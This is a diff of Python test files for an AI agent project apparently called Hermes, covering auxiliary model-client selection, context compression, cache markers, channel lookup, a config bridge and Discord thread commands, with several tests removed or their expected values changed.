@@ -129,7 +129,6 @@ class TestGetTextAuxiliaryClient:
|
||||
def test_custom_endpoint_over_codex(self, monkeypatch, codex_auth_dir):
|
||||
monkeypatch.setenv("OPENAI_BASE_URL", "http://localhost:1234/v1")
|
||||
monkeypatch.setenv("OPENAI_API_KEY", "lm-studio-key")
|
||||
monkeypatch.setenv("OPENAI_MODEL", "my-local-model")
|
||||
# Override the autouse monkeypatch for codex
|
||||
monkeypatch.setattr(
|
||||
"agent.auxiliary_client._read_codex_access_token",
|
||||
@@ -138,7 +137,7 @@ class TestGetTextAuxiliaryClient:
|
||||
with patch("agent.auxiliary_client._read_nous_auth", return_value=None), \
|
||||
patch("agent.auxiliary_client.OpenAI") as mock_openai:
|
||||
client, model = get_text_auxiliary_client()
|
||||
assert model == "my-local-model"
|
||||
assert model == "gpt-4o-mini"
|
||||
call_kwargs = mock_openai.call_args
|
||||
assert call_kwargs.kwargs["base_url"] == "http://localhost:1234/v1"
|
||||
|
||||
@@ -151,13 +150,9 @@ class TestGetTextAuxiliaryClient:
|
||||
from agent.auxiliary_client import CodexAuxiliaryClient
|
||||
assert isinstance(client, CodexAuxiliaryClient)
|
||||
|
||||
def test_returns_none_when_nothing_available(self, monkeypatch):
|
||||
monkeypatch.delenv("OPENAI_BASE_URL", raising=False)
|
||||
monkeypatch.delenv("OPENAI_API_KEY", raising=False)
|
||||
monkeypatch.delenv("OPENROUTER_API_KEY", raising=False)
|
||||
def test_returns_none_when_nothing_available(self):
|
||||
with patch("agent.auxiliary_client._read_nous_auth", return_value=None), \
|
||||
patch("agent.auxiliary_client._read_codex_access_token", return_value=None), \
|
||||
patch("agent.auxiliary_client._resolve_api_key_provider", return_value=(None, None)):
|
||||
patch("agent.auxiliary_client._read_codex_access_token", return_value=None):
|
||||
client, model = get_text_auxiliary_client()
|
||||
assert client is None
|
||||
assert model is None
|
||||
@@ -214,21 +209,17 @@ class TestVisionClientFallback:
|
||||
monkeypatch.setenv("AUXILIARY_VISION_PROVIDER", "main")
|
||||
monkeypatch.setenv("OPENAI_BASE_URL", "http://localhost:1234/v1")
|
||||
monkeypatch.setenv("OPENAI_API_KEY", "local-key")
|
||||
monkeypatch.setenv("OPENAI_MODEL", "my-local-model")
|
||||
with patch("agent.auxiliary_client._read_nous_auth", return_value=None), \
|
||||
patch("agent.auxiliary_client.OpenAI") as mock_openai:
|
||||
client, model = get_vision_auxiliary_client()
|
||||
assert client is not None
|
||||
assert model == "my-local-model"
|
||||
assert model == "gpt-4o-mini"
|
||||
|
||||
def test_vision_forced_main_returns_none_without_creds(self, monkeypatch):
|
||||
"""Forced main with no credentials still returns None."""
|
||||
monkeypatch.setenv("AUXILIARY_VISION_PROVIDER", "main")
|
||||
monkeypatch.delenv("OPENAI_BASE_URL", raising=False)
|
||||
monkeypatch.delenv("OPENAI_API_KEY", raising=False)
|
||||
with patch("agent.auxiliary_client._read_nous_auth", return_value=None), \
|
||||
patch("agent.auxiliary_client._read_codex_access_token", return_value=None), \
|
||||
patch("agent.auxiliary_client._resolve_api_key_provider", return_value=(None, None)):
|
||||
patch("agent.auxiliary_client._read_codex_access_token", return_value=None):
|
||||
client, model = get_vision_auxiliary_client()
|
||||
assert client is None
|
||||
assert model is None
|
||||
@@ -314,23 +305,21 @@ class TestResolveForcedProvider:
|
||||
def test_forced_main_uses_custom(self, monkeypatch):
|
||||
monkeypatch.setenv("OPENAI_BASE_URL", "http://local:8080/v1")
|
||||
monkeypatch.setenv("OPENAI_API_KEY", "local-key")
|
||||
monkeypatch.setenv("OPENAI_MODEL", "my-local-model")
|
||||
with patch("agent.auxiliary_client._read_nous_auth", return_value=None), \
|
||||
patch("agent.auxiliary_client.OpenAI") as mock_openai:
|
||||
client, model = _resolve_forced_provider("main")
|
||||
assert model == "my-local-model"
|
||||
assert model == "gpt-4o-mini"
|
||||
|
||||
def test_forced_main_skips_openrouter_nous(self, monkeypatch):
|
||||
"""Even if OpenRouter key is set, 'main' skips it."""
|
||||
monkeypatch.setenv("OPENROUTER_API_KEY", "or-key")
|
||||
monkeypatch.setenv("OPENAI_BASE_URL", "http://local:8080/v1")
|
||||
monkeypatch.setenv("OPENAI_API_KEY", "local-key")
|
||||
monkeypatch.setenv("OPENAI_MODEL", "my-local-model")
|
||||
with patch("agent.auxiliary_client._read_nous_auth", return_value=None), \
|
||||
patch("agent.auxiliary_client.OpenAI") as mock_openai:
|
||||
client, model = _resolve_forced_provider("main")
|
||||
# Should use custom endpoint, not OpenRouter
|
||||
assert model == "my-local-model"
|
||||
assert model == "gpt-4o-mini"
|
||||
|
||||
def test_forced_main_falls_to_codex(self, codex_auth_dir, monkeypatch):
|
||||
with patch("agent.auxiliary_client._read_nous_auth", return_value=None), \
|
||||
|
||||
@@ -153,47 +153,6 @@ class TestGenerateSummaryNoneContent:
|
||||
assert len(result) < len(msgs)
|
||||
|
||||
|
||||
class TestNonStringContent:
|
||||
"""Regression: content as dict (e.g., llama.cpp tool calls) must not crash."""
|
||||
|
||||
def test_dict_content_coerced_to_string(self):
|
||||
mock_response = MagicMock()
|
||||
mock_response.choices = [MagicMock()]
|
||||
mock_response.choices[0].message.content = {"text": "some summary"}
|
||||
|
||||
with patch("agent.context_compressor.get_model_context_length", return_value=100000):
|
||||
c = ContextCompressor(model="test", quiet_mode=True)
|
||||
|
||||
messages = [
|
||||
{"role": "user", "content": "do something"},
|
||||
{"role": "assistant", "content": "ok"},
|
||||
]
|
||||
|
||||
with patch("agent.context_compressor.call_llm", return_value=mock_response):
|
||||
summary = c._generate_summary(messages)
|
||||
assert isinstance(summary, str)
|
||||
assert "CONTEXT SUMMARY" in summary
|
||||
|
||||
def test_none_content_coerced_to_empty(self):
|
||||
mock_response = MagicMock()
|
||||
mock_response.choices = [MagicMock()]
|
||||
mock_response.choices[0].message.content = None
|
||||
|
||||
with patch("agent.context_compressor.get_model_context_length", return_value=100000):
|
||||
c = ContextCompressor(model="test", quiet_mode=True)
|
||||
|
||||
messages = [
|
||||
{"role": "user", "content": "do something"},
|
||||
{"role": "assistant", "content": "ok"},
|
||||
]
|
||||
|
||||
with patch("agent.context_compressor.call_llm", return_value=mock_response):
|
||||
summary = c._generate_summary(messages)
|
||||
# None content → empty string → "[CONTEXT SUMMARY]: " prefix added
|
||||
assert summary is not None
|
||||
assert "CONTEXT SUMMARY" in summary
|
||||
|
||||
|
||||
class TestCompressWithClient:
|
||||
def test_summarization_path(self):
|
||||
mock_client = MagicMock()
|
||||
|
||||
@@ -23,14 +23,6 @@ class TestApplyCacheMarker:
|
||||
_apply_cache_marker(msg, MARKER)
|
||||
assert msg["cache_control"] == MARKER
|
||||
|
||||
def test_empty_string_content_gets_top_level_marker(self):
|
||||
"""Empty text blocks cannot have cache_control (Anthropic rejects them)."""
|
||||
msg = {"role": "assistant", "content": ""}
|
||||
_apply_cache_marker(msg, MARKER)
|
||||
assert msg["cache_control"] == MARKER
|
||||
# Must NOT wrap into [{"type": "text", "text": "", "cache_control": ...}]
|
||||
assert msg["content"] == ""
|
||||
|
||||
def test_string_content_wrapped_in_list(self):
|
||||
msg = {"role": "user", "content": "Hello"}
|
||||
_apply_cache_marker(msg, MARKER)
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
"""Tests for gateway/channel_directory.py — channel resolution and display."""
|
||||
|
||||
import json
|
||||
import os
|
||||
from pathlib import Path
|
||||
from unittest.mock import patch
|
||||
|
||||
@@ -123,7 +122,7 @@ class TestResolveChannelName:
|
||||
class TestBuildFromSessions:
|
||||
def _write_sessions(self, tmp_path, sessions_data):
|
||||
"""Write sessions.json at the path _build_from_sessions expects."""
|
||||
sessions_path = tmp_path / "sessions" / "sessions.json"
|
||||
sessions_path = tmp_path / ".hermes" / "sessions" / "sessions.json"
|
||||
sessions_path.parent.mkdir(parents=True)
|
||||
sessions_path.write_text(json.dumps(sessions_data))
|
||||
|
||||
@@ -153,7 +152,7 @@ class TestBuildFromSessions:
|
||||
},
|
||||
})
|
||||
|
||||
with patch.dict(os.environ, {"HERMES_HOME": str(tmp_path)}):
|
||||
with patch.object(Path, "home", return_value=tmp_path):
|
||||
entries = _build_from_sessions("telegram")
|
||||
|
||||
assert len(entries) == 2
|
||||
@@ -162,7 +161,7 @@ class TestBuildFromSessions:
|
||||
assert "Bob" in names
|
||||
|
||||
def test_missing_sessions_file(self, tmp_path):
|
||||
with patch.dict(os.environ, {"HERMES_HOME": str(tmp_path)}):
|
||||
with patch.object(Path, "home", return_value=tmp_path):
|
||||
entries = _build_from_sessions("telegram")
|
||||
assert entries == []
|
||||
|
||||
@@ -172,7 +171,7 @@ class TestBuildFromSessions:
|
||||
"s2": {"origin": {"platform": "telegram", "chat_id": "123", "chat_name": "X"}},
|
||||
})
|
||||
|
||||
with patch.dict(os.environ, {"HERMES_HOME": str(tmp_path)}):
|
||||
with patch.object(Path, "home", return_value=tmp_path):
|
||||
entries = _build_from_sessions("telegram")
|
||||
|
||||
assert len(entries) == 1
|
||||
@@ -203,7 +202,7 @@ class TestBuildFromSessions:
|
||||
},
|
||||
})
|
||||
|
||||
with patch.dict(os.environ, {"HERMES_HOME": str(tmp_path)}):
|
||||
with patch.object(Path, "home", return_value=tmp_path):
|
||||
entries = _build_from_sessions("telegram")
|
||||
|
||||
ids = {entry["id"] for entry in entries}
|
||||
|
||||
@@ -1,148 +0,0 @@
|
||||
"""Tests for the config.yaml → env var bridge logic in gateway/run.py.
|
||||
|
||||
Specifically tests that top-level `cwd:` and `backend:` in config.yaml
|
||||
are correctly bridged to TERMINAL_CWD / TERMINAL_ENV env vars as
|
||||
convenience aliases for `terminal.cwd` / `terminal.backend`.
|
||||
|
||||
The bridge logic is module-level code in gateway/run.py, so we test
|
||||
the semantics by reimplementing the relevant config bridge snippet and
|
||||
asserting the expected env var outcomes.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import pytest
|
||||
|
||||
|
||||
def _simulate_config_bridge(cfg: dict, initial_env: dict | None = None):
|
||||
"""Simulate the gateway config bridge logic from gateway/run.py.
|
||||
|
||||
Returns the resulting env dict (only TERMINAL_* and MESSAGING_CWD keys).
|
||||
"""
|
||||
env = dict(initial_env or {})
|
||||
|
||||
# --- Replicate lines 54-56: generic top-level bridge (for context) ---
|
||||
for key, val in cfg.items():
|
||||
if isinstance(val, (str, int, float, bool)) and key not in env:
|
||||
env[key] = str(val)
|
||||
|
||||
# --- Replicate lines 59-87: terminal config bridge ---
|
||||
terminal_cfg = cfg.get("terminal", {})
|
||||
if terminal_cfg and isinstance(terminal_cfg, dict):
|
||||
terminal_env_map = {
|
||||
"backend": "TERMINAL_ENV",
|
||||
"cwd": "TERMINAL_CWD",
|
||||
"timeout": "TERMINAL_TIMEOUT",
|
||||
}
|
||||
for cfg_key, env_var in terminal_env_map.items():
|
||||
if cfg_key in terminal_cfg:
|
||||
val = terminal_cfg[cfg_key]
|
||||
if isinstance(val, list):
|
||||
env[env_var] = json.dumps(val)
|
||||
else:
|
||||
env[env_var] = str(val)
|
||||
|
||||
# --- NEW: top-level aliases (the fix being tested) ---
|
||||
top_level_aliases = {
|
||||
"cwd": "TERMINAL_CWD",
|
||||
"backend": "TERMINAL_ENV",
|
||||
}
|
||||
for alias_key, alias_env in top_level_aliases.items():
|
||||
if alias_env not in env:
|
||||
alias_val = cfg.get(alias_key)
|
||||
if isinstance(alias_val, str) and alias_val.strip():
|
||||
env[alias_env] = alias_val.strip()
|
||||
|
||||
# --- Replicate lines 144-147: MESSAGING_CWD fallback ---
|
||||
configured_cwd = env.get("TERMINAL_CWD", "")
|
||||
if not configured_cwd or configured_cwd in (".", "auto", "cwd"):
|
||||
messaging_cwd = env.get("MESSAGING_CWD") or "/root" # Path.home() for root
|
||||
env["TERMINAL_CWD"] = messaging_cwd
|
||||
|
||||
return env
|
||||
|
||||
|
||||
class TestTopLevelCwdAlias:
|
||||
"""Top-level `cwd:` should be treated as `terminal.cwd`."""
|
||||
|
||||
def test_top_level_cwd_sets_terminal_cwd(self):
|
||||
cfg = {"cwd": "/home/hermes/projects"}
|
||||
result = _simulate_config_bridge(cfg)
|
||||
assert result["TERMINAL_CWD"] == "/home/hermes/projects"
|
||||
|
||||
def test_top_level_backend_sets_terminal_env(self):
|
||||
cfg = {"backend": "docker"}
|
||||
result = _simulate_config_bridge(cfg)
|
||||
assert result["TERMINAL_ENV"] == "docker"
|
||||
|
||||
def test_top_level_cwd_and_backend(self):
|
||||
cfg = {"backend": "local", "cwd": "/home/hermes/projects"}
|
||||
result = _simulate_config_bridge(cfg)
|
||||
assert result["TERMINAL_CWD"] == "/home/hermes/projects"
|
||||
assert result["TERMINAL_ENV"] == "local"
|
||||
|
||||
def test_nested_terminal_takes_precedence_over_top_level(self):
|
||||
"""terminal.cwd should win over top-level cwd."""
|
||||
cfg = {
|
||||
"cwd": "/should/not/use",
|
||||
"terminal": {"cwd": "/home/hermes/real"},
|
||||
}
|
||||
result = _simulate_config_bridge(cfg)
|
||||
assert result["TERMINAL_CWD"] == "/home/hermes/real"
|
||||
|
||||
def test_nested_terminal_backend_takes_precedence(self):
|
||||
cfg = {
|
||||
"backend": "should-not-use",
|
||||
"terminal": {"backend": "docker"},
|
||||
}
|
||||
result = _simulate_config_bridge(cfg)
|
||||
assert result["TERMINAL_ENV"] == "docker"
|
||||
|
||||
def test_no_cwd_falls_back_to_messaging_cwd(self):
|
||||
cfg = {}
|
||||
result = _simulate_config_bridge(cfg, {"MESSAGING_CWD": "/home/hermes/projects"})
|
||||
assert result["TERMINAL_CWD"] == "/home/hermes/projects"
|
||||
|
||||
def test_no_cwd_no_messaging_cwd_falls_back_to_home(self):
|
||||
cfg = {}
|
||||
result = _simulate_config_bridge(cfg)
|
||||
assert result["TERMINAL_CWD"] == "/root" # Path.home() for root user
|
||||
|
||||
def test_dot_cwd_triggers_messaging_fallback(self):
|
||||
"""cwd: '.' should trigger MESSAGING_CWD fallback."""
|
||||
cfg = {"cwd": "."}
|
||||
result = _simulate_config_bridge(cfg, {"MESSAGING_CWD": "/home/hermes"})
|
||||
# "." is stripped but truthy, so it gets set as TERMINAL_CWD
|
||||
# Then the MESSAGING_CWD fallback does NOT trigger since TERMINAL_CWD
|
||||
# is set and not in (".", "auto", "cwd").
|
||||
# Wait — "." IS in the fallback list! So this should fall through.
|
||||
# Actually the alias sets it to ".", then the messaging fallback
|
||||
# checks if it's in (".", "auto", "cwd") and overrides.
|
||||
assert result["TERMINAL_CWD"] == "/home/hermes"
|
||||
|
||||
def test_auto_cwd_triggers_messaging_fallback(self):
|
||||
cfg = {"cwd": "auto"}
|
||||
result = _simulate_config_bridge(cfg, {"MESSAGING_CWD": "/home/hermes"})
|
||||
assert result["TERMINAL_CWD"] == "/home/hermes"
|
||||
|
||||
def test_empty_cwd_ignored(self):
|
||||
cfg = {"cwd": ""}
|
||||
result = _simulate_config_bridge(cfg, {"MESSAGING_CWD": "/home/hermes"})
|
||||
assert result["TERMINAL_CWD"] == "/home/hermes"
|
||||
|
||||
def test_whitespace_only_cwd_ignored(self):
|
||||
cfg = {"cwd": " "}
|
||||
result = _simulate_config_bridge(cfg, {"MESSAGING_CWD": "/fallback"})
|
||||
assert result["TERMINAL_CWD"] == "/fallback"
|
||||
|
||||
def test_messaging_cwd_env_var_works(self):
|
||||
"""MESSAGING_CWD in initial env should be picked up as fallback."""
|
||||
cfg = {}
|
||||
result = _simulate_config_bridge(cfg, {"MESSAGING_CWD": "/home/hermes/projects"})
|
||||
assert result["TERMINAL_CWD"] == "/home/hermes/projects"
|
||||
|
||||
def test_top_level_cwd_beats_messaging_cwd(self):
|
||||
"""Explicit top-level cwd should take precedence over MESSAGING_CWD."""
|
||||
cfg = {"cwd": "/from/config"}
|
||||
result = _simulate_config_bridge(cfg, {"MESSAGING_CWD": "/from/env"})
|
||||
assert result["TERMINAL_CWD"] == "/from/config"
|
||||
@@ -27,9 +27,6 @@ def _ensure_discord_mock():
|
||||
discord_mod.Color = SimpleNamespace(orange=lambda: 1, green=lambda: 2, blue=lambda: 3, red=lambda: 4)
|
||||
discord_mod.Interaction = object
|
||||
discord_mod.Embed = MagicMock
|
||||
discord_mod.app_commands = SimpleNamespace(
|
||||
describe=lambda **kwargs: (lambda fn: fn),
|
||||
)
|
||||
|
||||
ext_mod = MagicMock()
|
||||
commands_mod = MagicMock()
|
||||
|
||||
@@ -1,9 +0,0 @@
|
||||
import inspect
|
||||
|
||||
from gateway.platforms.discord import DiscordAdapter
|
||||
|
||||
|
||||
def test_discord_media_methods_accept_metadata_kwarg():
|
||||
for method_name in ("send_voice", "send_image_file", "send_image"):
|
||||
signature = inspect.signature(getattr(DiscordAdapter, method_name))
|
||||
assert "metadata" in signature.parameters, method_name
|
||||
@@ -1,435 +0,0 @@
|
||||
"""Tests for native Discord slash command fast-paths (thread creation & auto-thread)."""
|
||||
|
||||
from types import SimpleNamespace
|
||||
from unittest.mock import AsyncMock, MagicMock, patch
|
||||
import sys
|
||||
|
||||
import pytest
|
||||
|
||||
from gateway.config import PlatformConfig
|
||||
|
||||
|
||||
def _ensure_discord_mock():
|
||||
if "discord" in sys.modules and hasattr(sys.modules["discord"], "__file__"):
|
||||
return
|
||||
|
||||
discord_mod = MagicMock()
|
||||
discord_mod.Intents.default.return_value = MagicMock()
|
||||
discord_mod.DMChannel = type("DMChannel", (), {})
|
||||
discord_mod.Thread = type("Thread", (), {})
|
||||
discord_mod.ForumChannel = type("ForumChannel", (), {})
|
||||
discord_mod.Interaction = object
|
||||
discord_mod.app_commands = SimpleNamespace(
|
||||
describe=lambda **kwargs: (lambda fn: fn),
|
||||
)
|
||||
|
||||
ext_mod = MagicMock()
|
||||
commands_mod = MagicMock()
|
||||
commands_mod.Bot = MagicMock
|
||||
ext_mod.commands = commands_mod
|
||||
|
||||
sys.modules.setdefault("discord", discord_mod)
|
||||
sys.modules.setdefault("discord.ext", ext_mod)
|
||||
sys.modules.setdefault("discord.ext.commands", commands_mod)
|
||||
|
||||
|
||||
_ensure_discord_mock()
|
||||
|
||||
from gateway.platforms.discord import DiscordAdapter # noqa: E402
|
||||
|
||||
|
||||
class FakeTree:
|
||||
def __init__(self):
|
||||
self.commands = {}
|
||||
|
||||
def command(self, *, name, description):
|
||||
def decorator(fn):
|
||||
self.commands[name] = fn
|
||||
return fn
|
||||
|
||||
return decorator
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def adapter():
|
||||
config = PlatformConfig(enabled=True, token="***")
|
||||
adapter = DiscordAdapter(config)
|
||||
adapter._client = SimpleNamespace(
|
||||
tree=FakeTree(),
|
||||
get_channel=lambda _id: None,
|
||||
fetch_channel=AsyncMock(),
|
||||
user=SimpleNamespace(id=99999, name="HermesBot"),
|
||||
)
|
||||
return adapter
|
||||
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# /thread slash command registration
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_registers_native_thread_slash_command(adapter):
|
||||
adapter._handle_thread_create_slash = AsyncMock()
|
||||
adapter._register_slash_commands()
|
||||
|
||||
command = adapter._client.tree.commands["thread"]
|
||||
interaction = SimpleNamespace(
|
||||
response=SimpleNamespace(defer=AsyncMock()),
|
||||
)
|
||||
|
||||
await command(interaction, name="Planning", message="", auto_archive_duration=1440)
|
||||
|
||||
interaction.response.defer.assert_awaited_once_with(ephemeral=True)
|
||||
adapter._handle_thread_create_slash.assert_awaited_once_with(interaction, "Planning", "", 1440)
|
||||
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# _handle_thread_create_slash — success, session dispatch, failure
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_handle_thread_create_slash_reports_success(adapter):
|
||||
created_thread = SimpleNamespace(id=555, name="Planning", send=AsyncMock())
|
||||
parent_channel = SimpleNamespace(create_thread=AsyncMock(return_value=created_thread), send=AsyncMock())
|
||||
interaction_channel = SimpleNamespace(parent=parent_channel)
|
||||
interaction = SimpleNamespace(
|
||||
channel=interaction_channel,
|
||||
channel_id=123,
|
||||
user=SimpleNamespace(display_name="Jezza", id=42),
|
||||
guild=SimpleNamespace(name="TestGuild"),
|
||||
followup=SimpleNamespace(send=AsyncMock()),
|
||||
)
|
||||
|
||||
await adapter._handle_thread_create_slash(interaction, "Planning", "Kickoff", 1440)
|
||||
|
||||
parent_channel.create_thread.assert_awaited_once_with(
|
||||
name="Planning",
|
||||
auto_archive_duration=1440,
|
||||
reason="Requested by Jezza via /thread",
|
||||
)
|
||||
created_thread.send.assert_awaited_once_with("Kickoff")
|
||||
# Thread link shown to user
|
||||
interaction.followup.send.assert_awaited()
|
||||
args, kwargs = interaction.followup.send.await_args
|
||||
assert "<#555>" in args[0]
|
||||
assert kwargs["ephemeral"] is True
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_handle_thread_create_slash_dispatches_session_when_message_provided(adapter):
|
||||
"""When a message is given, _dispatch_thread_session should be called."""
|
||||
created_thread = SimpleNamespace(id=555, name="Planning", send=AsyncMock())
|
||||
parent_channel = SimpleNamespace(create_thread=AsyncMock(return_value=created_thread))
|
||||
interaction = SimpleNamespace(
|
||||
channel=SimpleNamespace(parent=parent_channel),
|
||||
channel_id=123,
|
||||
user=SimpleNamespace(display_name="Jezza", id=42),
|
||||
guild=SimpleNamespace(name="TestGuild"),
|
||||
followup=SimpleNamespace(send=AsyncMock()),
|
||||
)
|
||||
|
||||
adapter._dispatch_thread_session = AsyncMock()
|
||||
|
||||
await adapter._handle_thread_create_slash(interaction, "Planning", "Hello Hermes", 1440)
|
||||
|
||||
adapter._dispatch_thread_session.assert_awaited_once_with(
|
||||
interaction, "555", "Planning", "Hello Hermes",
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_handle_thread_create_slash_no_dispatch_without_message(adapter):
|
||||
"""Without a message, no session dispatch should occur."""
|
||||
created_thread = SimpleNamespace(id=555, name="Planning", send=AsyncMock())
|
||||
parent_channel = SimpleNamespace(create_thread=AsyncMock(return_value=created_thread))
|
||||
interaction = SimpleNamespace(
|
||||
channel=SimpleNamespace(parent=parent_channel),
|
||||
channel_id=123,
|
||||
user=SimpleNamespace(display_name="Jezza", id=42),
|
||||
guild=SimpleNamespace(name="TestGuild"),
|
||||
followup=SimpleNamespace(send=AsyncMock()),
|
||||
)
|
||||
|
||||
adapter._dispatch_thread_session = AsyncMock()
|
||||
|
||||
await adapter._handle_thread_create_slash(interaction, "Planning", "", 1440)
|
||||
|
||||
adapter._dispatch_thread_session.assert_not_awaited()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_handle_thread_create_slash_falls_back_to_seed_message(adapter):
|
||||
created_thread = SimpleNamespace(id=555, name="Planning")
|
||||
seed_message = SimpleNamespace(id=777, create_thread=AsyncMock(return_value=created_thread))
|
||||
channel = SimpleNamespace(
|
||||
create_thread=AsyncMock(side_effect=RuntimeError("direct failed")),
|
||||
send=AsyncMock(return_value=seed_message),
|
||||
)
|
||||
interaction = SimpleNamespace(
|
||||
channel=channel,
|
||||
channel_id=123,
|
||||
user=SimpleNamespace(display_name="Jezza", id=42),
|
||||
guild=SimpleNamespace(name="TestGuild"),
|
||||
followup=SimpleNamespace(send=AsyncMock()),
|
||||
)
|
||||
|
||||
await adapter._handle_thread_create_slash(interaction, "Planning", "Kickoff", 1440)
|
||||
|
||||
channel.send.assert_awaited_once_with("Kickoff")
|
||||
seed_message.create_thread.assert_awaited_once_with(
|
||||
name="Planning",
|
||||
auto_archive_duration=1440,
|
||||
reason="Requested by Jezza via /thread",
|
||||
)
|
||||
interaction.followup.send.assert_awaited()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_handle_thread_create_slash_reports_failure(adapter):
|
||||
channel = SimpleNamespace(
|
||||
create_thread=AsyncMock(side_effect=RuntimeError("direct failed")),
|
||||
send=AsyncMock(side_effect=RuntimeError("nope")),
|
||||
)
|
||||
interaction = SimpleNamespace(
|
||||
channel=channel,
|
||||
channel_id=123,
|
||||
user=SimpleNamespace(display_name="Jezza", id=42),
|
||||
followup=SimpleNamespace(send=AsyncMock()),
|
||||
)
|
||||
|
||||
await adapter._handle_thread_create_slash(interaction, "Planning", "", 1440)
|
||||
|
||||
interaction.followup.send.assert_awaited_once()
|
||||
args, kwargs = interaction.followup.send.await_args
|
||||
assert "Failed to create thread:" in args[0]
|
||||
assert "nope" in args[0]
|
||||
assert kwargs["ephemeral"] is True
|
||||
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# _dispatch_thread_session — builds correct event and routes it
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_dispatch_thread_session_builds_thread_event(adapter):
|
||||
"""Dispatched event should have chat_type=thread and chat_id=thread_id."""
|
||||
interaction = SimpleNamespace(
|
||||
user=SimpleNamespace(display_name="Jezza", id=42),
|
||||
guild=SimpleNamespace(name="TestGuild"),
|
||||
)
|
||||
|
||||
captured_events = []
|
||||
|
||||
async def capture_handle(event):
|
||||
captured_events.append(event)
|
||||
|
||||
adapter.handle_message = capture_handle
|
||||
|
||||
await adapter._dispatch_thread_session(interaction, "555", "Planning", "Hello!")
|
||||
|
||||
assert len(captured_events) == 1
|
||||
event = captured_events[0]
|
||||
assert event.text == "Hello!"
|
||||
assert event.source.chat_id == "555"
|
||||
assert event.source.chat_type == "thread"
|
||||
assert event.source.thread_id == "555"
|
||||
assert "TestGuild" in event.source.chat_name
|
||||
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Auto-thread: _auto_create_thread
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_auto_create_thread_uses_message_content_as_name(adapter):
|
||||
thread = SimpleNamespace(id=999, name="Hello world")
|
||||
message = SimpleNamespace(
|
||||
content="Hello world, how are you?",
|
||||
create_thread=AsyncMock(return_value=thread),
|
||||
)
|
||||
|
||||
result = await adapter._auto_create_thread(message)
|
||||
|
||||
assert result is thread
|
||||
message.create_thread.assert_awaited_once()
|
||||
call_kwargs = message.create_thread.await_args[1]
|
||||
assert call_kwargs["name"] == "Hello world, how are you?"
|
||||
assert call_kwargs["auto_archive_duration"] == 1440
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_auto_create_thread_truncates_long_names(adapter):
|
||||
long_text = "a" * 200
|
||||
thread = SimpleNamespace(id=999, name="truncated")
|
||||
message = SimpleNamespace(
|
||||
content=long_text,
|
||||
create_thread=AsyncMock(return_value=thread),
|
||||
)
|
||||
|
||||
result = await adapter._auto_create_thread(message)
|
||||
|
||||
assert result is thread
|
||||
call_kwargs = message.create_thread.await_args[1]
|
||||
assert len(call_kwargs["name"]) <= 80
|
||||
assert call_kwargs["name"].endswith("...")
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_auto_create_thread_returns_none_on_failure(adapter):
|
||||
message = SimpleNamespace(
|
||||
content="Hello",
|
||||
create_thread=AsyncMock(side_effect=RuntimeError("no perms")),
|
||||
)
|
||||
|
||||
result = await adapter._auto_create_thread(message)
|
||||
assert result is None
|
||||
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Auto-thread integration in _handle_message
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
|
||||
import discord as _discord_mod # noqa: E402 — mock or real, used below
|
||||
|
||||
|
||||
class _FakeTextChannel:
|
||||
"""A channel that is NOT a discord.Thread or discord.DMChannel."""
|
||||
|
||||
def __init__(self, channel_id=100, name="general", guild_name="TestGuild"):
|
||||
self.id = channel_id
|
||||
self.name = name
|
||||
self.guild = SimpleNamespace(name=guild_name, id=1)
|
||||
self.topic = None
|
||||
|
||||
|
||||
class _FakeThreadChannel(_discord_mod.Thread):
|
||||
"""isinstance(ch, discord.Thread) → True."""
|
||||
|
||||
def __init__(self, channel_id=200, name="existing-thread", guild_name="TestGuild", parent_id=100):
|
||||
# Don't call super().__init__ — mock Thread is just an empty type
|
||||
self.id = channel_id
|
||||
self.name = name
|
||||
self.guild = SimpleNamespace(name=guild_name, id=1)
|
||||
self.topic = None
|
||||
self.parent = SimpleNamespace(id=parent_id, name="general", guild=SimpleNamespace(name=guild_name, id=1))
|
||||
|
||||
|
||||
def _fake_message(channel, *, content="Hello", author_id=42, display_name="Jezza"):
|
||||
return SimpleNamespace(
|
||||
author=SimpleNamespace(id=author_id, display_name=display_name, bot=False),
|
||||
content=content,
|
||||
channel=channel,
|
||||
attachments=[],
|
||||
mentions=[],
|
||||
reference=None,
|
||||
created_at=None,
|
||||
id=12345,
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_auto_thread_creates_thread_and_redirects(adapter, monkeypatch):
|
||||
"""When DISCORD_AUTO_THREAD=true, a new thread is created and the event routes there."""
|
||||
monkeypatch.setenv("DISCORD_AUTO_THREAD", "true")
|
||||
monkeypatch.setenv("DISCORD_REQUIRE_MENTION", "false")
|
||||
|
||||
thread = SimpleNamespace(id=999, name="Hello")
|
||||
adapter._auto_create_thread = AsyncMock(return_value=thread)
|
||||
|
||||
captured_events = []
|
||||
|
||||
async def capture_handle(event):
|
||||
captured_events.append(event)
|
||||
|
||||
adapter.handle_message = capture_handle
|
||||
|
||||
msg = _fake_message(_FakeTextChannel(), content="Hello world")
|
||||
|
||||
await adapter._handle_message(msg)
|
||||
|
||||
adapter._auto_create_thread.assert_awaited_once_with(msg)
|
||||
assert len(captured_events) == 1
|
||||
event = captured_events[0]
|
||||
assert event.source.chat_id == "999" # redirected to thread
|
||||
assert event.source.chat_type == "thread"
|
||||
assert event.source.thread_id == "999"
|
||||
|
||||
|
||||
